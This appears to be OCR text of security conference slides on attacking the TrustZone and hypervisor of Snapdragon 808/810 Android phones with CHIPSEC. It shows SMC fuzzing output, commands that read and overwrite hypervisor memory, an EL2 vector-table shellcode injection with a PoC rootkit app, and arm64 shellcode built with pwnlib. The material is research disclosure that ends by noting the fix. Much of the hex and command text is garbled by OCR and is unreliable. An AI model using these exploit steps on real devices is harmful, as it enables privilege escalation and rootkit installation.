1 ccl
fO20clOO-fO2fbfff :
: mmc@

: msm_serial hsl
fO924000-f9924fff :
fO028000-f9928fff :
: spi_gsd
fOO6E5000-f9965fff
: spil gsd
fOO6E7000-f9967fff
: gmp_phy_base

: gmp_ahbZphy base
fc401680-fc401683 :

fO200000 . dwec3

9924000 .12¢c
f9928000 .12¢c
9965000 .12c

f9967000.12¢c

restart_reg

Dovmpm
: tsens _physical

: /soc/restart@fcdablon
: tsens_eeprom_physical
fcB20000-fcB82001f : B
: gqdsp6_base

: csi clk_mux

: csiphy _clk_mux
: csiphy clk mux
: csiphy clk mux
fdaG4000-fdal40ff :

rmb base

fdaf4000 .qcom,cpp

: TdaBGBO00.gcom,csid
fdalB400-fda@s7ff
fodalB8R0-fdal8bff
fdabBclO-fdal8cff

fda@8480 .qcom,csid
fda@B8800 .qcom,csid
fdal@8cil.gcom,csid

: fdabalied.gcom,ispif
fdalacl@-fdafadff :
fda@blOE - fdaGblff :
fdabb400 - fdafb5ftf

fdalacli.gcom,csiphy
TdafbO@e .qcom,csiphy
fdafb4@0 .qcom,csiphy

: fdalcBOA0.gcom,cci
: kgsl-3dO

fecOOOEE-fecfffff
400000 -Tf5FIfff

TddEOEEE . qcom, ocmem
ath



Overlapping SoC Ranges with TrustZone Memory

: : Physical Address Space
» MMIO and core registers may contain 4 "
MMIO or core register with

addresses to SoC or core ranges/structures an address
° Example: Debug BUﬁer, TTBR... Device Range/Structure

* Overlap range/structure with TrustZone
memory and look for unexpected behavior TrustZone memory

« Hardware should properly handle overlap

condition 0S Memory




DMA Attacks

Normal World Secure World

App Trustlet

Kernel + Drivers

Trustlet

Secure Kernel

Hypervisor

Protected by
IOMMU
Broadpwn?2 l

Over The Air: Exploiting Broadcom’s Wi-Fi Stack (Part 2)

Secure Monitor



https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html
https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html
https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html
http://boosterok.com/blog/broadpwn2/

Pointer Arguments to SMC Handlers

Physical Address Space

X0 (handler ID) I@{> e
andlers in
TrustZone memory

0x6D00000

Android Memory

SMC handler specific structure

Some SMC Handlers write result to a buffer at address passed in X2,...




Unchecked Pointer Vulnerabilities

Physical Address Space

SMC Handlers in
TrustZone memory

Fake structure inside TZ memory

X0 (handler ID)

X

X2 (pointer)

X
Android Memory

If SMC handler doesn’t validate pointer, it can overwrite TrustZone memory
Examples: Full TrustZone exploit for MSM8974, SMC vulns by Dan Rosenberg



http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html
http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html
http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html
http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html
http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html

SMC Pointer Vulnerabilities Fuzzer

HIFSEC] Arguments: -m tools.tz.smc _ptr
] loaded chipsec.modules.tools.tz.smc_ptr

Supply an address to
TrustZone in SMC argument

C
+
X
X
X

| B s T s I s B |

]
]
]

e

Module: A tool to test SMC handlers for 9&& er vulnerabilies

4

[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]

CPUG:
CPUG:
CPUG:
CPUG:

CPUB:
CPUG:
CRPUG:

SMC
SMC
SMC
SMC

SMC
SMC
SMC

e R i T i B i)

GBx2001302
GBx2001302
GBx2001302
Bx2001302

Bx2001302
Ox2001302
Ox2001302

Ox23
Ox23
Ox23
Bx23

Ox23
Ox23
Ox23

Gx6DEGEAEAG
Gx6DEGEAEAG
Gx6DEGEAEAG
Bx6DEGEEEG

Ox6D00G00
Ox60D0EG00
Ox60D0EG006

Ox28 0Ox0
Ox29 0Ox0
Ox30 Ox0
Bx31 Ox0

Bx]l GxB
Bx]l Gxl
Bx]l GOxZ

e =

i
i
i
r

r:
rE:
rE:

FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8

FFFFFFF8
FFFFFFFS
FFFFFFFS

rl:
rl:
rl:
rl:

rl:
rl:
rl:

The same error code

indicating overlap detected

clelelelelelele]
clelelelelelele]
clelelelelelele]
EEEEEEE0

elelelelelelelc]
GOEEEEEE
GOEEEEEE

re:
re:
re:
re:

re:
re:
re:

clelelelelelele]
clelelelelelele]
clelelelelelele]
clelclelelele]e]

clclelelelele]c)
EEEEEEE6
EEEEEEEO

r3:
r3:
r3:
r3:

r3:
r3:
r3:

clefelelelelele]
clefelelelelele]
clefelelelelele]
clefclelelelc]e]

clclelelelclclel
peeeeeee
Qeeeeeee



Race Condition Issues (TOCTOU)

CPUO

X0 (handler ID)

Physical Address Space

X1

SMC handlers in
TrustZone kernel

Android Memory

CPU1 SMC handler specific structure

Modify contents

SMC handlers may have TOCTOU issues when reading structures from X2




Unchecked Addresses to MMIO Ranges

Physical Address Space
@> SMC Handlers in
TrustZone memory
OS Memory

MMIO of (Secure) Device

An address to MMIO of a secure device can be passed to SMC handler. If the
handler doesn’t validate the address it can be tricked to write to the secure device

X0 (handler ID)
X

X2 (pointer)

X

X




Unchecked MMIO Pointer Fuzzer for TZ

[CHIPSEC] Arguments: -m tools.tz.smc _mmioc -a
[+] loaded chipsec.modules.tools.tz.smc_mmio

SMC argument points to

MMIO range

[x]1

[%][ Module: A tool

to test SMC

[x]1
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]

CPUG :
CPUG:
CPUG :
CPUG :
CPUG:
CPUG :
CPUG :
CPUG :
CPUG :
CPUG:
CPUG:

SMC
SMC
SMC
SMC
SMC
SMC
SMC
SMC
SMC
SMC
SMC

Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302
Ox2001302

e N N i B i B i B e T e T e T B e I

handlers failgﬁ26,pointer vulnerabilies

Bx23
Bx23
Bx23
Bx23
Bx23
Bx23
Bx23
Bx23
Bx23
Bx23
Bx23

Bx 9017000
Bxf9lEee00
Bxf920cl00
Oxf920d100
OxT920el00
Ox 9207100
Bx 9210100
Bx 9211100
Bx 9212100
Bx 9213100
Ox 9214100

Ox28
Ox28
Ox28
Ox28
Ox28
Ox28
Bx28
Ox28
Ox28
Ox28
Ox28

Gx0
GOx0
Gx0
Gx0E
Gx0
Gx0
Gx0
GOx0
Gx0
Gx0
Gx0

[ S e

re:
ro:
ro:
ro:
ro:
rE:
r:
ro:
ro:
ro:
ro:

Iterate over

MMIO ranges

J

FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8
FFFFFFF8

The same error code
indicating overlap detected

Jclclclelelclele)
rl:
rl:
T DEOGEEEE
rl:
rl:
rl:
gclclclelolelole)
rl:
rl:
T DEOEEEEE

clelelelelelelc
clelelelelelele

clelelclelelele
clelelelelelele
clefelclelelele

clelelelelelele
clelelelelelele

g clclclclelelole
re:
re:
T QREEOEE0
re .
re:
re:
g clclclclelelole
re:
re:
T EREEGEE0

elclelclelelele
Elclelelelelelc

Clelelclelelelc
Glelelclelelelc
elelelclelelele

Elclelelelelelc
Elelelclelelelc

Jclclclelelolelc)
r3:
r3:
g clclclelolelele)
r3:
r3:
ra:
Jclciclelelolelc)
r3:
r3:
T REOGEEEE

peeeeean
Qeeeeeae

Clelelclelelele
Clelelelelelele
clelelelelelelc

Qeeeeeae
Clelelclelelele



Now let’s find the hypervisor...

root@angler:/sdcard/chipsec/t3 # python chipsec util.py mem read Bx6CB3EDD

LEIE ISR R IR IEIE R R R IR IE IR R IE R E IR BIR IR R IR IE BIR IR R R IE BRI R R RIRIR R R IR

it it
it CHIPSEC: Platform Hardware Security Assessment Framework i
it #Hit

B8 ISR R R IR IR R R R IR R R R R IE R BIR R R RN IE BIR R R R IR BRI R BRI IR R R R
[CHIPSEC] Version 1.2.2

*»x%%% Chipsec Linux Kernel module is licensed under GPL 2.8
[CHIPSEC] Executing command ‘mem’' with args ['read’', '8x6CH3EBO" ]

ading buffer from memory: PA = Ox0000000006CH3EGG, len = Bx180..
f+ ff ff £ |88 B8 80 048 18 B8 cA 86 B0 00 80 88 |

H8 B8 B8 88 6c B8 cB 86 08 B0 B0 89 | 1
fc B8 cH 86 B8 60 B0 60 18 B8 cH 86 B8O 68 88 688 | |

Read hypervisor memory




What if we point SMC to the hypervisor memory?

ython chipsec util.py smc 8x8 8x200030D Bx22 2 Ox6CO3EQ0 Oxh <
gg###########Iﬂl########Iﬂm#########Iﬂl#########################gﬁ Trl g g er S M C \
Ez CHIPSEC: Platform Harduware Security Assessment Framework zﬁ OX2 O O O 3 OD Wlth hyp
1[1[:11:lltli:gEﬂ::ﬂ]ﬂt:Eﬂ:f:ggﬁ#f{t1211-1glﬂﬂﬂtlﬂ#####ﬂlﬂﬂl#ﬂlﬂﬂt###ﬂ####ﬂ#ﬂ##mﬂﬂm##ﬂ# add reSS O < 6 C O 3 E O O J

#x¥%%% Chipsec Linux Kernel module is licensed under GPL 2.8

[CHIPSEC] Executing command ‘smc' with args ['8x@8', ‘[ERGDIRL, "8x22', "2°,
'@x6CH3EBA", "Bx4']

[CHIPSEC] CPUB: SMC ({ 8x2008320d 0x22? Bx6CH3IEBQ Gx4 ) = vd: A0000000 r1: 80000000
r2: 000808680 r3: B0OB0B00

. rootBangler:/sdcard/chipsec/t3 # python chipsec_util.py mem read Bx6CB3EBO
rootBangler:fsdcardfchipsec/t3 # -

g S S R Rt S R R i

#H i
#it CHIPSEC: Platform Hardware Security Assessment Framework i
h i

#apuggEg RS R R HE S R R S R R R R
[CHIFSEC] Version 1.2.2

*»xx%% Chipsec Linux Kernel module is licensed under GPL 2.8

[CHIPSEC] Executing command 'mem' with args ['read', "8x6CA3EGQ"]

CheCk If hyperVISOr memory mading buffer from memory: PA = OB:XO00800000B6CAZEAA, len = Bx1808..
haS Changed 89 89 00 PO |08 00 BA B0 18 B8 cH B6 B0 B0 B8 B8 |

B8 90 80 69 6c O8 cB B85 O9 90 60 68 | 1
fc B8 cH 86 B0 09 B0 B0 18 B8 cH 86 B0 B8 88 88 | |




ATTACKING/HYRERVISOR(ON/ARM




Modifying Hypervisor on Snapdragon 808...

« We find hypervisor binary in memory. Must be a copy?
* Let’'s try to modify it. The phone reboots! WTF?
« Assumption: stage 2 translation is disabled?

[CHIPSEC] reading buffer from memory: PA = Ox0000000006CEEOC~ *-- — = 7°" |

44 11 00 58 04 c0 1c d5 20 40 1c d5 a3 00 3c d5 | D X ([CHIPSEC] Executing command ‘mem' with args [‘writeval’, ‘Gx6C00000', ‘dword', 'OxFFFFFFFF’]
64 lc 78 92 63 1c 40 92 63 18 44 aa a4 10 00 58 dxc@c

G0 600 82 d2 00 Jc 03 S9b 9f 60 20 cb f4 4f bf a9 | [CHIPSEC] writing 4-byte value OxFFFFFFFF to PA OxBOGROGEEGECEMGOEEHG. .

f3 03 03 aa 2 07 bf a9 a0 @0 3c d5 62 1lc 78 92 [CHIPSEC] (mem) time elapsed 0.061

B0 1c 40 92 00 18 42 aa dl 03 00 294 al@ 00 3c d5 @ B root@bullhead:/sdcard/t3 # python chipsec util.py mem read 0xGCO0000

f7 Gb B0 94 1f 00 00 fl 0 G1 060 54 20 40 1lc d5

al B8 3c d5 B1 1c 78 92 00 1c 40 92 A0 18 41 aa - W R R R R R R R R R AR R R R R R R R R R R AR AR E AN R R RS

Bl G0 80 d2 79 Ge 00 94 a0 00 3c d5 20 Oc 00 94 * i
y T ## CHIPSEC: Platform Hardware Security Assessment Framework ##
i #w

02 00 B0 14 2 07 cl a8 f4 03 02 aa 60 00 80 d2
00 el lc d5 eB @3 1f aa 60 0 lc d5 60 11 lc d5
e@ 7f 86 d2 40 11 lc d5 3f 04 GO fl cO 0O 00 54
3f 08 00 f1 40 00 00 54 00 00 G0 14 04 00 b0 dZ

. AR R R R R R R R R R R R R NS B E RN E RN RS ER
?[CHIPSEC] Version 1.2.2

|
|
|
|
|
|
1f 06 06 f1 B0 GO 60 54 el 03 00 aa e2 7f cl a8 |
|
|
|
| 7 @ T ssswsx Chipsec Linux Kernel module is licensed under GPL 2.0
|
|
I

05 00 06 14 GO 10 38 45 00 G0 7b b2 06 10 18 d5 8
ed 03 1f aa 04 11 1c 45 9f 00 61 f2 B1 O1 00 54 [CHIPSEC] Executing command ‘mem' with args ['read', 'Ox6C00000']
20 40 3c d5 1f 00 40 f2 61 00 GO 54 60 12 80 d2 A=< @ a
[CHIPSEC] (mem) time elapsed 0.014 [CHIPSEC]) reading buffer from memory: PA = 0x0000000006CEGGEE0E, len = Ox100..
root@bullhead: /sdcard/t3 # ff ff ff ff 04 cO 1c d5 20 40 1lc d5 a3 00 3c d5 | @ =
64 1lc 78 92 63 1c 40 92 63 18 44 aa a4 10 00 58 | dxc @c D X
B0 60 BY dZ 60 7c 03 Sb 9f 60 20 cb T4 4f bf ab | | ’ 0
f3 B3 03 aa e2 07 bf a9 a0 00 3c d5 02 lc 78 92 | < X
00 1lc 40 92 00 18 42 aa dl B3 60 94 a0 00 3c d5 | @ B




Now we can patch the hypervisor...

Kernel (EL1) exploits hypervisor
LPE to get EL2 privileges

Normal World The rootkit can protect
hypervisor from kernel access

SMC 1 _
l ‘ Patched hypervisor traps access

Including SMC interface

( from kernel (EL1) & app (ELO)

Patch hypervisor allows
malicious app (ELO) access

entire memor
Secure World y




Patching EL2 Vector Table

LOAD - BB600000B06CBBDOY
LOAD - ABB000ABAGC BREDA
LOAD - B88000A0BAGC BBE BY
LOAD - 88808080A86C BBE AR
LOAD : BBBBB000B6CBBEBC
LOAD - BBBB00000B6CBRE10
LOAD - BBB000000B6CBBE1Y
LOAD:-BBB00BB0BAGCABE1R
LOAD - BBB08008B0BAGCARE1C
LOAD - ABA000A0BBGC BBEZA
LOAD - ABB000ABAGCBBEZY
LOAD - 9880008 0AGCABEZE
LOAD : BBBBB00BBGCABE2C
LOAD - BBBB0000B6CBRBE3Q
LOAD - BBB00000B06CBREIY
LOAD - BBB00000B0B6CBRE3Y
LOAD - BBB00000AGCABEIR
LOAD - ABA00000BBGC OBERA
LOAD - BBB000A0BB6C BBERY

0o
FE
0o
0o
1F
FE
0o
Fo
oF
EF
FF
0o
FF
co
75

a4
FE
Aa

00
03
52
FC
88
83
FF
3F
52
FD
49
02
59
o1
F8

a4
a3
a2

00
BF
3¢
5A
80
c1
FE
BF
3C
5A
8o
FF
80
FF
FF

a4
BF
88

oo+ ALIGM 0x88
Ag STP

D5 MRS

D3 UBFH

F1 CHP

As LDP

oy B.EQ

Ag STP

DS MRS

D3 UBFH

F1 CHP

Sy B.EQ

F1 CHP

oy B.EQ

17 B

oo+ ALIGM 0x88
Ag STP

D2 HOU

LOAD :9000000006C B19ES
LOAD :9000000006C B19ES
LOAD :90000000806C B19EC
LOAD :B0000000BA6CB19F 0
LOAD :A0A0ABABAGC B19F Y
LOAD :90000000AGC A19F 8
LOAD :9000000006CA19F 8
LOAD : 0000000006C B19F8
LOAD :80008080806C B19FC
LOAD : 80000000 AGC B19FC
LOAD :A0A0AB0BAGCAIAGBA

F3
Fa
FD
FF
co

ca

27
L7
7B
C3
a3

a3

LA
45
E 1]
81
S5F

SF

|

sub_6C06E68 ———> sub_6CQO17FC

F9
no
no
o1
Db

Db

X308, X0, [SP,#t-0x18]?
ke, #4, c5, c?, #A

%8, X8, #60x1Aa, #Ox3F
%0, #ox22

X368, X8, [SP],#0x10
sub_&CBADFY

X16, %15, [SP,#-8x10]*
%15, #4, c5, c2, #0
%15, %15, #6x1a, HOx3F
%15, #Ox12

sub_6CA6EGS

%15, #Ox16

sub_&COAE6S
loc_&C07008

X328, X8,
58, #Hex15

[SP,H#-0x10]*

loc_6CB1QER
LDR
LDP
LDP
ADD
RET

;: End of function sub_6CB17FC

One of the EL2 Vector Table

entries

the

K"T

; CODE XREF: sub_éf
X19, [SP,#0x70+var 28]
X208, X21, [SP,H#0x7B+var_20]
X29, X308, [SP,H#0x7B8+var_10]

We inject a payload in

function invoked by

the vector table entry

(0x6C019F8)

J

817Ff+30Tj

5P, 5P, HO=708
; injected address



PoC Exploit App and Hypervisor Patch

« EXploit app stores some magic number and command in a memory
« Hypervisor rootkit read magic number and executes command
* For example, command “Expose EL1 kernel memory at address X"



Exploit Detalls

bullhead:/ # /su/expl.sh
chipsec £843 0

[CHIPSEC] 0OS : Linux 3.10.732-gblbd207-dirty #1 SMP PREEMPT Mon Jun 26 16:11:07 PDT
[CHIPSEC] Flatform: aarchi&d

[+] loaded chipsec.modules.tools.hyp.hyp exploit

*] running module: chipsec.modules.tools.hyp.hyp exploit

Module: Patching the hypervisor

[*]
[x]1
[x]1
[x]1
[Exploit] Check Hypervisor memory at address » Ox06CO0REG
44 11 00 58 @4 c@ 1lc d5 20 40 lc d5 a3 G0 3c d5 | X @ <

D
64 lc 78 92 63 1lc 40 92 63 18 44 aa a4 10 00 58 | d x c @ c D X
[Exploit] EL1 kernel module has access to Hypervisor memory

[Exploit] Read VBAR ELZ with address of Hyp Vector Table : Ox06CHE8B00
[Exploit] Find a Exception Handler function in which exploit will inject Shellcode

[Exploit] Target Function Address » BxBE6CH1TFC

[Exploit] Prepare Shellcode with Commands : Read/Write EL1 Kernel memory
[Exploit] Inject Shellcode to Target Function in address : Ox06CO19FE

[Exploit] Check Shellcode after injection : PASS



Exploit Details

bullhead:/ # [APP] Got signal from the Hypervisor!
[APP] Hooked interrupt executed

bu}lhead:f # /su/chipsec_util.sh mem read OxBOOGE [APP] Address in Android kernel to read through
chipsec 6843 0 [APP] hooked Hypervisor interrupt is: Ox80000
[CHIPSEC] reading buffer from memory: PA = OxQ000000000080000, len = 0x100.. [APP] Kernel Memory Dump:

10 66 00 14 00 GO GO GO G@ GG 08 OO OGO GO GO GO | 00 @0 00 60 60 G0 GO 00 00 GO 66 G0 00 60 G0 00

80 Gb f4 Gl GO GO GO GO GO GO GO GO OO GO GO G0
00 GO0 00 G0 00 GO 0O 00 G0 G0 G0 GO 00 6O 00 a0

Qo 00 00 G0 00 G0 00 G0 G0 00 G0 00 G0 00 OB G0
G0 00 00 G0 G0 GO GO G0 GO0 60 GO GO G0 60 66 66

G0 GO0 00 GG GO GO G0 00 41 52 4d 64 00 GO GO G0 ARMd A0 00 00 PO 00 BF G0 6P 41 52 4D 64 B0 00 OF GO
f5 03 00 aa ef ff 05 94 71 00 06 S4 15 00 06 94 g F5 @3 00 AA EF FF 05 94 71 00 06 94 15 00 @6 94
16 00 38 d5 0 03 16 aa 7a 00 06 94 f7 03 00 aa 8 z mmmmm 16 00 38 D5 EG 03 16 AA 7A 00 06 94 F7 03 00 AA
17 01 GO0 b4 20 00 0O 94 47 0O 00 94 3b 05 00 58 G ;5 X mmm— 17 01 G0 B4 20 00 00 94 47 G0 00 94 3B 065 80 58
9e 02 00 10 ec Oa 40 f9 8c Ol 1c B8b 80 01 1f d6 @ 9E G2 00 18 EC GA 40 F9 8C 01 1C 8B 88 @81 1F D6

1f 20 63 d5 1f 20 03 d5 1f 20 03 d5 1f 20 B3 d5 1IF 20 63 DS 1F 20 063 D5 1F 20 ©3 D5 1F 20 03 D5

11 20 03 d5> 1f 20 03 d5 1f 20 03 d5 1f 20 03 d5 1F 20 83 DS 1F 20 03 DS 1F 20 83 D5 1F 20 03 DS

|
I
|
|
I
1f 20 63 d5 ff ff ff 17 1f 20 03 d5 1f 20 03 d5 | 1IF 20 83 D5 FF FF FF 17 1F 20 83 D5 1F 20 03 D5
I
1f 20 03 d5 1f 20 03 45 1f 20 03 45 1f 20 03 d5 I 1F 20 B3 DS 1F 20 03 D5 1F 20 03 DS 1F 20 83 D5

|

|

|

c5 10 00 58 05 c@ 18 d5 19 20 18 d5 3a 20 18 d5 X : C5 10 O 58 05 CO 18 D5 19 26 18 DS 34 20 18 05
df 3f 03 d5 01 00 60 14 @6 10 18 db 4df 3f 03 d5 7 7 DF 3F 02 D5 01 00 00 14 00 10 18 D5 DF 3F 03 D5
B0 03 1f d& bf Ba 40 f2 01 01 G0 54 bt 02 18 eb h 6] T 60 B3 1F D6 BF GA 40 F? 01 01 00 54 BF 02 18 EB
ch G0 GO 54 00 00 ad dZ G0 G0 18 8b bf 02 00 eb T CB GO0 GO0 54 B0 B0 A4 D? 00 00 18 8B BF A2 A0 EB

g CHIPSEC] (mem) time elapsed 0.003

e User mode application can
read EL2 kernel memory
from 0x80000 physical

kaddress using our hyp patch






https://imgflip.com/i/1t0kqj

This has been fixed in Google Pixel

* The trust model has changed on Snapdragon 821 SoC
 EL1 (kernel) is not longer in the TCB of EL2 (hypervisor)
* Hypervisor is no longer accessible from Android kernel (EL1)

python chipsec util.py mem read Ox85810000

e

## ##
## CHIPSEC: Platform Hardware Security Assessment Framework ##
## ##

R
[CHIPSEC] Version 1.2.2

*rkdkd* Chipsec Linux Kernel module is licensed under GPL 2.0
[CHIPSEC] Executing command '‘mem' with args ['read', 'GOxB5810000']

[CHIPSEC] reading buffer from memory: PA = O0xQ0000000B5810000, len = Ox100..
user@kli:~% adb shell



Cannot use SMC handler either

« Passing hypervisor address in the SMC argument
* Return error result
« SMC does not allow overwriting hypervisor memory on behalf of EL1

_util.py smc Ox0 Ox2001302 Ox23 3 OxB5810000 0x28 0x0 <

L L e I e B e
## ##
## CHIPSEC: Platform Hardware Security Assessment Framework ##
## ##
L L e I e B
[CHIPSEC] Version 1.2.2

#rdk+* Chipsec Linux Kernel module is licensed under GPL 2.0

[CHIPSEC] Executing command 'smc' with args ['Gx0', '0x2001302', '0x23', '3', 'O0x85810000', 'GOx28', '0x0']

[CHIPSEC] CPUG: SMC ( Ox2001302 0xZ3 0Ox85810000 0x28 0x0 ) = r0: FFFFFFFFFFFFFFFE rl: Q0000000 r2: Q0000000 r3: 0000C000



Conclusion

« Hypervisor can be attacked on ARM based systems with
Snapdragon 808/810 and virtualization rootkit can be installed

 Threat model should not include OS kernel into the TCB of the
hypervisor

« Similarities between vectors of attacks on x86 and ARM exist
and security architectures can learn from each other



Thank Youl!



BACKUP



Hypervisor Payload Customization

Read HCR_EL?Z2 register:
import pwnlib

shellcode = """ STR X0, [sp, #-16]! ;
STR X1, [sp, #-16]! ;
MRS XO, HCR_EL2 5
MRS X1, TTBRO_EL2 5
ADD X1, X1, #0x200 ;
STR x0, [x1] ; // store value to commutation buffer (TTBRO EL2 + 0x200)
LDR X1, [sp], #1606 ;
LDR X0, [spl, #16 ;
RET """

shellcode bin = pwnlib.asm.asm(shellcode, arch = 'arm64')

Other examples:
=== pinascii.hexlify(pwnlib.asm.asm("MRS X0, VBAR ELZ, RET",arch = "armgd'})
'B0cE3cdbclO3sfdE

=== pwnlib.asm.disasm(binascii.unhexlify("00c@3cdbc@B35FdE"), arch = 'armgd’)
1 (3 : d53ccB00 mrs *@, vbar elZ\n . de5fE3ch ret’



Reading EL2 Registers...

bullhead:/ # /su/chipsec_main.sh -m tools.hyp.hyp exploit -a Ox10

chipsec 6843 0

[CHIPSEC] 0S5 » Linux 3.10.73-gblbd207-dirty #1 SMP PREEMPT Mon Jun 26 ]
[CHIPSEC] FPlatform: aarch&d

e A
[+] loaded chipsec.modules.tools.hyp.hyp exploit Using hyp eXp|Oit ({0)
[*] running module: chipsec.modules.tools.hyp.hyp exploit read EL2 Config
registers
J

Fead Registers:

HCR EL2  : 6x00000000S6000002 HCR_EL2[0] — VM bit is 0:
VBAR EL2 : 0xD00O00OGO6CO8800 Stage 2 add tanslation disabled
TTBR® EL2 : 0x000GGOEGO6CA0000 age < address transiation disable

TCR EL2 : 0x0000EEE680803A20
HSTR EL2 : Ox000EGEEEEEEECEE0 TTBRO_ELZ2 - base address of the ]

MAIR ELZ : Ox00000000BBO4FF44 translation table for Stage 1

[ |::H I PSE(:] o i S el e O e  a a e a  D SUMMAH‘\T" THC I T T HC T R R T R T T T T T S T T T T T S S




